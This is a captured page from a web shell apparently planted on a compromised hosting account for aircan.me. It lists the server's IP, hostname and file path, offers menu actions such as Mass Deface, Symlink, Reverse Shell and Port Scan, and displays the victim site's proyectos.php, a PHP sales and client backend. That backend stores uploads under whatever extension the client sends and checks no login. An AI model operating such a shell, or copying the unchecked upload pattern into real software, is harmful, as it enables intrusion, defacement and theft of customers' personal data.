Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
francisco
/
Viewing: proyectos.php
<?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); require_once 'conexion.php'; header('Content-Type: application/json'); $action = $_GET['action'] ?? ''; function respuesta($data) { echo json_encode($data); exit; } $hasDocumentoCliente = false; try { $stmt = $conn->prepare("SHOW COLUMNS FROM clientes LIKE 'documento'"); $stmt->execute(); $hasDocumentoCliente = (bool) $stmt->fetch(PDO::FETCH_ASSOC); } catch (Exception $e) { $hasDocumentoCliente = false; } $hasFotoCliente = false; try { $stmt = $conn->prepare("SHOW COLUMNS FROM clientes LIKE 'foto'"); $stmt->execute(); $hasFotoCliente = (bool) $stmt->fetch(PDO::FETCH_ASSOC); } catch (Exception $e) { $hasFotoCliente = false; } $hasDescripcionCompra = false; try { $stmt = $conn->prepare("SHOW COLUMNS FROM compras LIKE 'descripcion'"); $stmt->execute(); $hasDescripcionCompra = (bool) $stmt->fetch(PDO::FETCH_ASSOC); } catch (Exception $e) { $hasDescripcionCompra = false; } $hasVentaIdCompra = false; try { $stmt = $conn->prepare("SHOW COLUMNS FROM compras LIKE 'venta_id'"); $stmt->execute(); $hasVentaIdCompra = (bool) $stmt->fetch(PDO::FETCH_ASSOC); } catch (Exception $e) { $hasVentaIdCompra = false; } // --- AGREGAR PROYECTO --- if ($action === 'add') { $nombre = $_POST['nombre'] ?? ''; $descripcion = $_POST['descripcion'] ?? ''; $caracteristicas = $_POST['caracteristicas'] ?? ''; $precio = $_POST['precio'] ?? ''; $link = $_POST['link'] ?? ''; $imagen = null; // Subida de imagen (opcional) if (isset($_FILES['imagen']) && $_FILES['imagen']['error'] === UPLOAD_ERR_OK) { $ext = pathinfo($_FILES['imagen']['name'], PATHINFO_EXTENSION); $nombreImg = uniqid('proy_') . '.' . $ext; $destino = 'uploads/proyectos/' . $nombreImg; if (move_uploaded_file($_FILES['imagen']['tmp_name'], $destino)) { $imagen = $destino; } } try { $stmt = $conn->prepare("INSERT INTO proyectos (nombre, descripcion, caracteristicas, precio, imagen, link) VALUES (?, ?, ?, ?, ?, ?)"); $ok = $stmt->execute([$nombre, $descripcion, $caracteristicas, $precio, $imagen, $link]); if ($ok) { respuesta(['success' => true]); } else { $errorInfo = $stmt->errorInfo(); respuesta(['success' => false, 'error' => $errorInfo[2]]); } } catch (Exception $e) { respuesta(['success' => false, 'error' => $e->getMessage()]); } } // --- LISTAR PROYECTOS --- if ($action === 'list') { $res = $conn->query("SELECT * FROM proyectos ORDER BY id DESC"); $proyectos = $res->fetchAll(PDO::FETCH_ASSOC); respuesta($proyectos); } // --- ELIMINAR PROYECTO --- if ($action === 'delete') { $id = $_POST['id'] ?? 0; // Obtener imagen para borrarla $stmt = $conn->prepare("SELECT imagen FROM proyectos WHERE id = ?"); $stmt->execute([$id]); $proy = $stmt->fetch(PDO::FETCH_ASSOC); if ($proy && $proy['imagen'] && file_exists($proy['imagen'])) { @unlink($proy['imagen']); } $stmt = $conn->prepare("DELETE FROM proyectos WHERE id = ?"); $ok = $stmt->execute([$id]); respuesta(['success' => $ok]); } // --- OBTENER UN PROYECTO (para editar) --- if ($action === 'get') { $id = $_GET['id'] ?? 0; $stmt = $conn->prepare("SELECT * FROM proyectos WHERE id = ?"); $stmt->execute([$id]); $proy = $stmt->fetch(PDO::FETCH_ASSOC); respuesta($proy ?: []); } // --- EDITAR PROYECTO --- if ($action === 'edit') { $id = $_POST['id'] ?? 0; $nombre = $_POST['nombre'] ?? ''; $descripcion = $_POST['descripcion'] ?? ''; $caracteristicas = $_POST['caracteristicas'] ?? ''; $precio = $_POST['precio'] ?? ''; $link = $_POST['link'] ?? ''; $imagen = null; $imagen_sql = ''; // Si hay nueva imagen, subirla y borrar la anterior if (isset($_FILES['imagen']) && $_FILES['imagen']['error'] === UPLOAD_ERR_OK) { $stmt = $conn->prepare("SELECT imagen FROM proyectos WHERE id = ?"); $stmt->execute([$id]); $proy = $stmt->fetch(PDO::FETCH_ASSOC); if ($proy && $proy['imagen'] && file_exists($proy['imagen'])) { @unlink($proy['imagen']); } $ext = pathinfo($_FILES['imagen']['name'], PATHINFO_EXTENSION); $nombreImg = uniqid('proy_') . '.' . $ext; $destino = 'uploads/proyectos/' . $nombreImg; if (move_uploaded_file($_FILES['imagen']['tmp_name'], $destino)) { $imagen = $destino; $imagen_sql = ", imagen = '" . $imagen . "'"; } } $sql = "UPDATE proyectos SET nombre=?, descripcion=?, caracteristicas=?, precio=?, link=?" . $imagen_sql . " WHERE id=?"; $params = [$nombre, $descripcion, $caracteristicas, $precio, $link]; if ($imagen_sql) { $params[] = $id; } else { $params[] = $id; } $stmt = $conn->prepare($sql); $ok = $stmt->execute($params); respuesta(['success' => $ok]); } // ENDPOINT PARA CONTAR PROYECTOS if ($action === 'count') { $res = $conn->query('SELECT COUNT(*) as total FROM proyectos'); $row = $res->fetch(PDO::FETCH_ASSOC); echo json_encode(['total' => intval($row['total'])]); exit; } // --- REGISTRAR COMPRA DE PROYECTO --- if ($action === 'comprar') { $nombre = $_POST['nombre'] ?? ''; $telefono = $_POST['telefono'] ?? ''; $direccion = $_POST['direccion'] ?? ''; $proyecto_id = $_POST['proyecto_id'] ?? 0; if (!$nombre || !$telefono || !$direccion || !$proyecto_id) { respuesta(['success' => false, 'error' => 'Todos los campos son obligatorios.']); } // Verificar que el proyecto existe y obtener su precio $stmt = $conn->prepare("SELECT nombre, precio FROM proyectos WHERE id = ?"); $stmt->execute([$proyecto_id]); $proyecto = $stmt->fetch(PDO::FETCH_ASSOC); if (!$proyecto) { respuesta(['success' => false, 'error' => 'Proyecto no encontrado.']); } // Buscar o crear cliente (por nombre y teléfono) $stmt = $conn->prepare("SELECT id FROM clientes WHERE nombre=? AND telefono=?"); $stmt->execute([$nombre, $telefono]); $cliente = $stmt->fetch(PDO::FETCH_ASSOC); if (!$cliente) { $stmt = $conn->prepare("INSERT INTO clientes (nombre, telefono, direccion) VALUES (?, ?, ?)"); $stmt->execute([$nombre, $telefono, $direccion]); $cliente_id = $conn->lastInsertId(); } else { $cliente_id = $cliente['id']; } // Insertar compra con la nueva estructura $stmt = $conn->prepare("INSERT INTO compras (cliente_id, proyecto_id, nombre, telefono, direccion, tipo, item_id, precio) VALUES (?, ?, ?, ?, ?, 'proyecto', ?, ?)"); $ok = $stmt->execute([$cliente_id, $proyecto_id, $nombre, $telefono, $direccion, $proyecto_id, $proyecto['precio']]); if ($ok) { respuesta(['success' => true]); } else { $errorInfo = $stmt->errorInfo(); respuesta(['success' => false, 'error' => $errorInfo[2]]); } } // --- LISTAR COMPRAS --- if ($action === 'compras') { $descripcionSelect = $hasDescripcionCompra ? 'c.descripcion' : 'NULL AS descripcion'; $ventaIdSelect = $hasVentaIdCompra ? 'c.venta_id' : '0 AS venta_id'; $documentoSelect = $hasDocumentoCliente ? 'cl.documento' : 'NULL AS documento'; $fotoSelect = $hasFotoCliente ? 'cl.foto AS cliente_foto' : 'NULL AS cliente_foto'; $sql = "SELECT c.id, {$ventaIdSelect}, c.cliente_id, c.item_id, c.nombre, c.telefono, c.direccion, {$descripcionSelect}, c.fecha, c.tipo, c.precio, {$documentoSelect}, {$fotoSelect}, CASE WHEN c.tipo = 'proyecto' THEN p.nombre WHEN c.tipo = 'servicio' THEN s.nombre END as item_nombre, p.link as link, CASE WHEN c.tipo = 'proyecto' THEN p.imagen ELSE NULL END as imagen FROM compras c LEFT JOIN clientes cl ON c.cliente_id = cl.id LEFT JOIN proyectos p ON c.tipo = 'proyecto' AND c.item_id = p.id LEFT JOIN servicios s ON c.tipo = 'servicio' AND c.item_id = s.id ORDER BY c.fecha DESC"; $res = $conn->query($sql); $rows = $res->fetchAll(PDO::FETCH_ASSOC); if (!$hasVentaIdCompra) { respuesta($rows); } $ventas = []; foreach ($rows as $r) { $vid = intval($r['venta_id'] ?? 0); if ($vid <= 0) $vid = intval($r['id'] ?? 0); if ($vid <= 0) continue; if (!isset($ventas[$vid])) { $ventas[$vid] = [ 'id' => $vid, 'venta_id' => $vid, 'primer_item_id' => intval($r['id'] ?? 0), 'cliente_id' => $r['cliente_id'] ?? null, 'cliente_foto' => $r['cliente_foto'] ?? null, 'nombre' => $r['nombre'] ?? '', 'telefono' => $r['telefono'] ?? '', 'direccion' => $r['direccion'] ?? '', 'descripcion' => $r['descripcion'] ?? null, 'fecha' => $r['fecha'] ?? null, 'documento' => $r['documento'] ?? null, 'total' => 0, 'items' => [] ]; } if (empty($ventas[$vid]['cliente_foto']) && !empty($r['cliente_foto'])) { $ventas[$vid]['cliente_foto'] = $r['cliente_foto']; } $precio = floatval($r['precio'] ?? 0); $ventas[$vid]['total'] += $precio; if (!empty($r['fecha']) && (empty($ventas[$vid]['fecha']) || $r['fecha'] > $ventas[$vid]['fecha'])) { $ventas[$vid]['fecha'] = $r['fecha']; } $ventas[$vid]['items'][] = [ 'id' => intval($r['id'] ?? 0), 'tipo' => $r['tipo'] ?? '', 'item_id' => intval($r['item_id'] ?? 0), 'item_nombre' => $r['item_nombre'] ?? '', 'precio' => $r['precio'] ?? 0, 'link' => $r['link'] ?? null, 'imagen' => $r['imagen'] ?? null ]; } $ventasList = array_values($ventas); usort($ventasList, function($a, $b) { return strcmp((string)($b['fecha'] ?? ''), (string)($a['fecha'] ?? '')); }); respuesta($ventasList); } if ($action === 'get_compra') { $id = intval($_GET['id'] ?? 0); if (!$id) respuesta(['success' => false, 'error' => 'ID inválido.']); try { if ($hasVentaIdCompra) { $stmt = $conn->prepare("SELECT venta_id FROM compras WHERE id = ?"); $stmt->execute([$id]); $tmp = $stmt->fetch(PDO::FETCH_ASSOC); $venta_id = $tmp ? intval($tmp['venta_id'] ?? 0) : 0; if ($venta_id <= 0) $venta_id = $id; $descripcionSelect = $hasDescripcionCompra ? 'c.descripcion' : 'NULL AS descripcion'; $documentoSelect = $hasDocumentoCliente ? 'cl.documento' : 'NULL AS documento'; $fotoSelect = $hasFotoCliente ? 'cl.foto AS cliente_foto' : 'NULL AS cliente_foto'; $sql = "SELECT c.id, c.venta_id, c.cliente_id, c.nombre, c.telefono, c.direccion, {$descripcionSelect}, c.fecha, c.tipo, c.item_id, c.precio, {$documentoSelect}, {$fotoSelect}, CASE WHEN c.tipo = 'proyecto' THEN p.nombre WHEN c.tipo = 'servicio' THEN s.nombre END as item_nombre, p.link as link, CASE WHEN c.tipo = 'proyecto' THEN p.imagen ELSE NULL END as imagen FROM compras c LEFT JOIN clientes cl ON c.cliente_id = cl.id LEFT JOIN proyectos p ON c.tipo = 'proyecto' AND c.item_id = p.id LEFT JOIN servicios s ON c.tipo = 'servicio' AND c.item_id = s.id WHERE c.venta_id = ? OR c.id = ? ORDER BY c.id ASC"; $stmt = $conn->prepare($sql); $stmt->execute([$venta_id, $venta_id]); $rows = $stmt->fetchAll(PDO::FETCH_ASSOC); if (!$rows || count($rows) === 0) { respuesta(['success' => false, 'error' => 'Compra no encontrada.']); } $venta = [ 'id' => $venta_id, 'venta_id' => $venta_id, 'primer_item_id' => intval($rows[0]['id'] ?? 0), 'cliente_id' => $rows[0]['cliente_id'] ?? null, 'cliente_foto' => $rows[0]['cliente_foto'] ?? null, 'nombre' => $rows[0]['nombre'] ?? '', 'telefono' => $rows[0]['telefono'] ?? '', 'direccion' => $rows[0]['direccion'] ?? '', 'descripcion' => $rows[0]['descripcion'] ?? null, 'fecha' => $rows[0]['fecha'] ?? null, 'documento' => $rows[0]['documento'] ?? null, 'total' => 0, 'items' => [] ]; foreach ($rows as $r) { $venta['total'] += floatval($r['precio'] ?? 0); $venta['items'][] = [ 'id' => intval($r['id'] ?? 0), 'tipo' => $r['tipo'] ?? '', 'item_id' => intval($r['item_id'] ?? 0), 'item_nombre' => $r['item_nombre'] ?? '', 'precio' => $r['precio'] ?? 0, 'link' => $r['link'] ?? null, 'imagen' => $r['imagen'] ?? null ]; } respuesta($venta); } $descripcionSelect = $hasDescripcionCompra ? 'c.descripcion' : 'NULL AS descripcion'; $sql = $hasDocumentoCliente ? "SELECT c.id, c.cliente_id, c.nombre, c.telefono, c.direccion, {$descripcionSelect}, c.fecha, c.tipo, c.item_id, c.precio, cl.documento FROM compras c LEFT JOIN clientes cl ON c.cliente_id = cl.id WHERE c.id = ?" : "SELECT c.id, c.cliente_id, c.nombre, c.telefono, c.direccion, {$descripcionSelect}, c.fecha, c.tipo, c.item_id, c.precio, NULL AS documento FROM compras c WHERE c.id = ?"; $stmt = $conn->prepare($sql); $stmt->execute([$id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row) { respuesta($row); } respuesta(['success' => false, 'error' => 'Compra no encontrada.']); } catch (Exception $e) { respuesta(['success' => false, 'error' => 'Compra no encontrada.']); } } // --- EDITAR COMPRA --- if ($action === 'edit_compra') { $id = $_POST['id'] ?? 0; $cliente_id_in = intval($_POST['cliente_id'] ?? 0); $nombre = $_POST['nombre'] ?? ''; $telefono = $_POST['telefono'] ?? ''; $direccion = $_POST['direccion'] ?? ''; $descripcion = $_POST['descripcion'] ?? ''; $documento = $_POST['documento'] ?? ''; $items_json = $_POST['items_json'] ?? ''; $tipo = $_POST['tipo'] ?? ''; $item_id = $_POST['item_id'] ?? 0; $precio = $_POST['precio'] ?? 0; $items = []; if (is_string($items_json) && trim($items_json) !== '') { $decoded = json_decode($items_json, true); if (!is_array($decoded)) { respuesta(['success' => false, 'error' => 'Items inválidos.']); } $items = $decoded; } else { $items = [[ 'id' => $id, 'tipo' => $tipo, 'item_id' => $item_id, 'precio' => $precio ]]; } if (!$id || !$nombre || !$telefono || !$direccion) { respuesta(['success' => false, 'error' => 'Todos los campos son obligatorios.']); } if (!is_array($items) || count($items) === 0) { respuesta(['success' => false, 'error' => 'Agrega al menos un proyecto o servicio a la venta.']); } foreach ($items as $it) { $it_tipo = is_array($it) ? ($it['tipo'] ?? '') : ''; $it_item_id = is_array($it) ? intval($it['item_id'] ?? 0) : 0; $it_precio = is_array($it) ? floatval($it['precio'] ?? 0) : 0; if (!$it_tipo || !$it_item_id || $it_precio <= 0) { respuesta(['success' => false, 'error' => 'Todos los campos del item son obligatorios.']); } if ($it_tipo === 'proyecto') { $stmt = $conn->prepare("SELECT id FROM proyectos WHERE id = ?"); $stmt->execute([$it_item_id]); if (!$stmt->fetch()) { respuesta(['success' => false, 'error' => 'Proyecto no encontrado.']); } } elseif ($it_tipo === 'servicio') { $stmt = $conn->prepare("SELECT id FROM servicios WHERE id = ?"); $stmt->execute([$it_item_id]); if (!$stmt->fetch()) { respuesta(['success' => false, 'error' => 'Servicio no encontrado.']); } } else { respuesta(['success' => false, 'error' => 'Tipo de compra inválido.']); } } $cliente_id = 0; if ($cliente_id_in > 0) { $stmt = $conn->prepare('SELECT id FROM clientes WHERE id = ?'); $stmt->execute([$cliente_id_in]); if (!$stmt->fetch()) { respuesta(['success' => false, 'error' => 'Cliente no encontrado.']); } $cliente_id = $cliente_id_in; } else { $stmt = $conn->prepare("SELECT id FROM clientes WHERE nombre=? AND telefono=?"); $stmt->execute([$nombre, $telefono]); $cliente = $stmt->fetch(PDO::FETCH_ASSOC); if (!$cliente) { if ($hasDocumentoCliente) { $stmt = $conn->prepare("INSERT INTO clientes (nombre, telefono, direccion, documento) VALUES (?, ?, ?, ?)"); $stmt->execute([$nombre, $telefono, $direccion, ($documento === '' ? null : $documento)]); } else { $stmt = $conn->prepare("INSERT INTO clientes (nombre, telefono, direccion) VALUES (?, ?, ?)"); $stmt->execute([$nombre, $telefono, $direccion]); } $cliente_id = $conn->lastInsertId(); } else { $cliente_id = $cliente['id']; if ($hasDocumentoCliente && $documento !== '') { try { $stmt = $conn->prepare("UPDATE clientes SET documento = COALESCE(NULLIF(documento,''), ?) WHERE id = ?"); $stmt->execute([$documento, $cliente_id]); } catch (Exception $e) { } } } } if ($hasVentaIdCompra) { try { $conn->beginTransaction(); $stmt = $conn->prepare("SELECT venta_id, fecha FROM compras WHERE id = ?"); $stmt->execute([intval($id)]); $tmp = $stmt->fetch(PDO::FETCH_ASSOC); if (!$tmp) { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Compra no encontrada.']); } $venta_id = intval($tmp['venta_id'] ?? 0); if ($venta_id <= 0) $venta_id = intval($id); $fechaVenta = $tmp['fecha'] ?? null; if (intval($tmp['venta_id'] ?? 0) <= 0) { $stmt = $conn->prepare("UPDATE compras SET venta_id = ? WHERE id = ?"); $stmt->execute([$venta_id, intval($id)]); } $stmt = $conn->prepare("SELECT id FROM compras WHERE venta_id = ? OR id = ? ORDER BY id ASC"); $stmt->execute([$venta_id, $venta_id]); $rowsExist = $stmt->fetchAll(PDO::FETCH_ASSOC); if (!$rowsExist || count($rowsExist) === 0) { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Compra no encontrada.']); } $existingIds = array_map(function($r) { return intval($r['id'] ?? 0); }, $rowsExist); if ($hasDescripcionCompra) { $stmt = $conn->prepare("UPDATE compras SET cliente_id = ?, nombre = ?, telefono = ?, direccion = ?, descripcion = ? WHERE venta_id = ? OR id = ?"); $okCab = $stmt->execute([$cliente_id, $nombre, $telefono, $direccion, ($descripcion === '' ? null : $descripcion), $venta_id, $venta_id]); } else { $stmt = $conn->prepare("UPDATE compras SET cliente_id = ?, nombre = ?, telefono = ?, direccion = ? WHERE venta_id = ? OR id = ?"); $okCab = $stmt->execute([$cliente_id, $nombre, $telefono, $direccion, $venta_id, $venta_id]); } if (!$okCab) { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Error al actualizar la venta.']); } $keptExistingIds = []; foreach ($items as $it) { $it_id = is_array($it) ? intval($it['id'] ?? 0) : 0; $it_tipo = is_array($it) ? ($it['tipo'] ?? '') : ''; $it_item_id = is_array($it) ? intval($it['item_id'] ?? 0) : 0; $it_precio = is_array($it) ? floatval($it['precio'] ?? 0) : 0; $proyecto_id = ($it_tipo === 'proyecto') ? $it_item_id : null; $canUpdate = $it_id > 0 && in_array($it_id, $existingIds, true); if ($canUpdate) { $stmt = $conn->prepare("UPDATE compras SET proyecto_id = ?, tipo = ?, item_id = ?, precio = ? WHERE id = ? AND (venta_id = ? OR id = ?)"); $okIt = $stmt->execute([$proyecto_id, $it_tipo, $it_item_id, $it_precio, $it_id, $venta_id, $venta_id]); if (!$okIt) { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Error al actualizar item.']); } $keptExistingIds[] = $it_id; continue; } if ($hasDescripcionCompra) { $stmt = $conn->prepare("INSERT INTO compras (venta_id, cliente_id, proyecto_id, nombre, telefono, direccion, descripcion, tipo, item_id, precio, fecha) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); $okIt = $stmt->execute([$venta_id, $cliente_id, $proyecto_id, $nombre, $telefono, $direccion, ($descripcion === '' ? null : $descripcion), $it_tipo, $it_item_id, $it_precio, $fechaVenta]); } else { $stmt = $conn->prepare("INSERT INTO compras (venta_id, cliente_id, proyecto_id, nombre, telefono, direccion, tipo, item_id, precio, fecha) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); $okIt = $stmt->execute([$venta_id, $cliente_id, $proyecto_id, $nombre, $telefono, $direccion, $it_tipo, $it_item_id, $it_precio, $fechaVenta]); } if (!$okIt) { $errorInfo = $stmt->errorInfo(); $conn->rollBack(); respuesta(['success' => false, 'error' => $errorInfo[2] ?? 'Error al insertar item.']); } } $keptExistingIds = array_values(array_unique(array_filter($keptExistingIds, function($v) { return $v > 0; }))); $toDelete = array_values(array_diff($existingIds, $keptExistingIds)); if (count($toDelete) > 0) { $placeholders = implode(',', array_fill(0, count($toDelete), '?')); $stmt = $conn->prepare("DELETE FROM compras WHERE id IN ($placeholders)"); $stmt->execute($toDelete); } $conn->commit(); respuesta(['success' => true]); } catch (Exception $e) { try { if ($conn->inTransaction()) $conn->rollBack(); } catch (Exception $e2) {} respuesta(['success' => false, 'error' => 'Error al actualizar la venta.']); } } $firstItem = $items[0]; $tipo = is_array($firstItem) ? ($firstItem['tipo'] ?? '') : ''; $item_id = is_array($firstItem) ? intval($firstItem['item_id'] ?? 0) : 0; $precio = is_array($firstItem) ? ($firstItem['precio'] ?? 0) : 0; if ($hasDescripcionCompra) { $stmt = $conn->prepare("UPDATE compras SET cliente_id = ?, nombre = ?, telefono = ?, direccion = ?, descripcion = ?, tipo = ?, item_id = ?, precio = ? WHERE id = ?"); $ok = $stmt->execute([$cliente_id, $nombre, $telefono, $direccion, ($descripcion === '' ? null : $descripcion), $tipo, $item_id, $precio, $id]); } else { $stmt = $conn->prepare("UPDATE compras SET cliente_id = ?, nombre = ?, telefono = ?, direccion = ?, tipo = ?, item_id = ?, precio = ? WHERE id = ?"); $ok = $stmt->execute([$cliente_id, $nombre, $telefono, $direccion, $tipo, $item_id, $precio, $id]); } if ($ok) { respuesta(['success' => true]); } $errorInfo = $stmt->errorInfo(); respuesta(['success' => false, 'error' => $errorInfo[2]]); } // --- NUEVA VENTA MANUAL --- if ($action === 'nueva_venta') { $cliente_id_in = intval($_POST['cliente_id'] ?? 0); $nombre = $_POST['nombre'] ?? ''; $telefono = $_POST['telefono'] ?? ''; $direccion = $_POST['direccion'] ?? ''; $descripcion = $_POST['descripcion'] ?? ''; $documento = $_POST['documento'] ?? ''; $items_json = $_POST['items_json'] ?? ''; $tipo = $_POST['tipo'] ?? ''; $item_id = $_POST['item_id'] ?? 0; $precio = $_POST['precio'] ?? 0; $fecha = $_POST['fecha'] ?? ''; if (!$nombre || !$telefono || !$direccion || !$fecha) { respuesta(['success' => false, 'error' => 'Todos los campos son obligatorios.']); } $items = []; if (is_string($items_json) && trim($items_json) !== '') { $decoded = json_decode($items_json, true); if (!is_array($decoded)) { respuesta(['success' => false, 'error' => 'Items inválidos.']); } $items = $decoded; } else { $items = [[ 'tipo' => $tipo, 'item_id' => $item_id, 'precio' => $precio ]]; } if (!is_array($items) || count($items) === 0) { respuesta(['success' => false, 'error' => 'Agrega al menos un proyecto o servicio a la venta.']); } $cliente_id = 0; if ($cliente_id_in > 0) { $stmt = $conn->prepare('SELECT id FROM clientes WHERE id = ?'); $stmt->execute([$cliente_id_in]); if (!$stmt->fetch()) { respuesta(['success' => false, 'error' => 'Cliente no encontrado.']); } $cliente_id = $cliente_id_in; } else { // Buscar o crear cliente (por nombre y teléfono) $stmt = $conn->prepare("SELECT id FROM clientes WHERE nombre=? AND telefono=?"); $stmt->execute([$nombre, $telefono]); $cliente = $stmt->fetch(PDO::FETCH_ASSOC); if (!$cliente) { if ($hasDocumentoCliente) { $stmt = $conn->prepare("INSERT INTO clientes (nombre, telefono, direccion, documento) VALUES (?, ?, ?, ?)"); $stmt->execute([$nombre, $telefono, $direccion, ($documento === '' ? null : $documento)]); } else { $stmt = $conn->prepare("INSERT INTO clientes (nombre, telefono, direccion) VALUES (?, ?, ?)"); $stmt->execute([$nombre, $telefono, $direccion]); } $cliente_id = $conn->lastInsertId(); } else { $cliente_id = $cliente['id']; if ($hasDocumentoCliente && $documento !== '') { try { $stmt = $conn->prepare("UPDATE clientes SET documento = COALESCE(NULLIF(documento,''), ?) WHERE id = ?"); $stmt->execute([$documento, $cliente_id]); } catch (Exception $e) { } } } } try { $conn->beginTransaction(); $venta_id = 0; foreach ($items as $it) { $it_tipo = is_array($it) ? ($it['tipo'] ?? '') : ''; $it_item_id = is_array($it) ? intval($it['item_id'] ?? 0) : 0; $it_precio = is_array($it) ? ($it['precio'] ?? 0) : 0; if (!$it_tipo || !$it_item_id || !$it_precio) { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Todos los campos del item son obligatorios.']); } // Verificar que el item existe según el tipo if ($it_tipo === 'proyecto') { $stmt = $conn->prepare("SELECT id FROM proyectos WHERE id = ?"); $stmt->execute([$it_item_id]); if (!$stmt->fetch()) { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Proyecto no encontrado.']); } } elseif ($it_tipo === 'servicio') { $stmt = $conn->prepare("SELECT id FROM servicios WHERE id = ?"); $stmt->execute([$it_item_id]); if (!$stmt->fetch()) { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Servicio no encontrado.']); } } else { $conn->rollBack(); respuesta(['success' => false, 'error' => 'Tipo de venta inválido.']); } $proyecto_id = ($it_tipo === 'proyecto') ? $it_item_id : null; if ($hasVentaIdCompra) { $useVentaId = $venta_id; if ($hasDescripcionCompra) { $stmt = $conn->prepare("INSERT INTO compras (venta_id, cliente_id, proyecto_id, nombre, telefono, direccion, descripcion, tipo, item_id, precio, fecha) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); $ok = $stmt->execute([$useVentaId, $cliente_id, $proyecto_id, $nombre, $telefono, $direccion, ($descripcion === '' ? null : $descripcion), $it_tipo, $it_item_id, $it_precio, $fecha]); } else { $stmt = $conn->prepare("INSERT INTO compras (venta_id, cliente_id, proyecto_id, nombre, telefono, direccion, tipo, item_id, precio, fecha) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); $ok = $stmt->execute([$useVentaId, $cliente_id, $proyecto_id, $nombre, $telefono, $direccion, $it_tipo, $it_item_id, $it_precio, $fecha]); } } else { if ($hasDescripcionCompra) { $stmt = $conn->prepare("INSERT INTO compras (cliente_id, proyecto_id, nombre, telefono, direccion, descripcion, tipo, item_id, precio, fecha) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); $ok = $stmt->execute([$cliente_id, $proyecto_id, $nombre, $telefono, $direccion, ($descripcion === '' ? null : $descripcion), $it_tipo, $it_item_id, $it_precio, $fecha]); } else { $stmt = $conn->prepare("INSERT INTO compras (cliente_id, proyecto_id, nombre, telefono, direccion, tipo, item_id, precio, fecha) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)"); $ok = $stmt->execute([$cliente_id, $proyecto_id, $nombre, $telefono, $direccion, $it_tipo, $it_item_id, $it_precio, $fecha]); } } if (!$ok) { $errorInfo = $stmt->errorInfo(); $conn->rollBack(); respuesta(['success' => false, 'error' => $errorInfo[2] ?? 'Error al registrar la venta.']); } if ($hasVentaIdCompra && $venta_id <= 0) { $rowId = intval($conn->lastInsertId()); $venta_id = $rowId; $stmt2 = $conn->prepare("UPDATE compras SET venta_id = ? WHERE id = ?"); $stmt2->execute([$venta_id, $rowId]); } } $conn->commit(); respuesta(['success' => true]); } catch (Exception $e) { try { if ($conn->inTransaction()) $conn->rollBack(); } catch (Exception $e2) {} respuesta(['success' => false, 'error' => 'Error al registrar la venta.']); } } // --- ELIMINAR COMPRA --- if ($action === 'delete_compra') { $id = $_POST['id'] ?? 0; $id = intval($id); if (!$id) respuesta(['success' => false, 'error' => 'ID inválido.']); if ($hasVentaIdCompra) { $stmt = $conn->prepare("SELECT venta_id FROM compras WHERE id = ?"); $stmt->execute([$id]); $tmp = $stmt->fetch(PDO::FETCH_ASSOC); $venta_id = $tmp ? intval($tmp['venta_id'] ?? 0) : 0; if ($venta_id <= 0) $venta_id = $id; $stmt = $conn->prepare("DELETE FROM compras WHERE venta_id = ? OR id = ?"); $ok = $stmt->execute([$venta_id, $venta_id]); respuesta(['success' => $ok]); } $stmt = $conn->prepare("DELETE FROM compras WHERE id = ?"); $ok = $stmt->execute([$id]); respuesta(['success' => $ok]); } respuesta(['error' => 'Acción no válida']);
Coded With 💗 by
0x6ick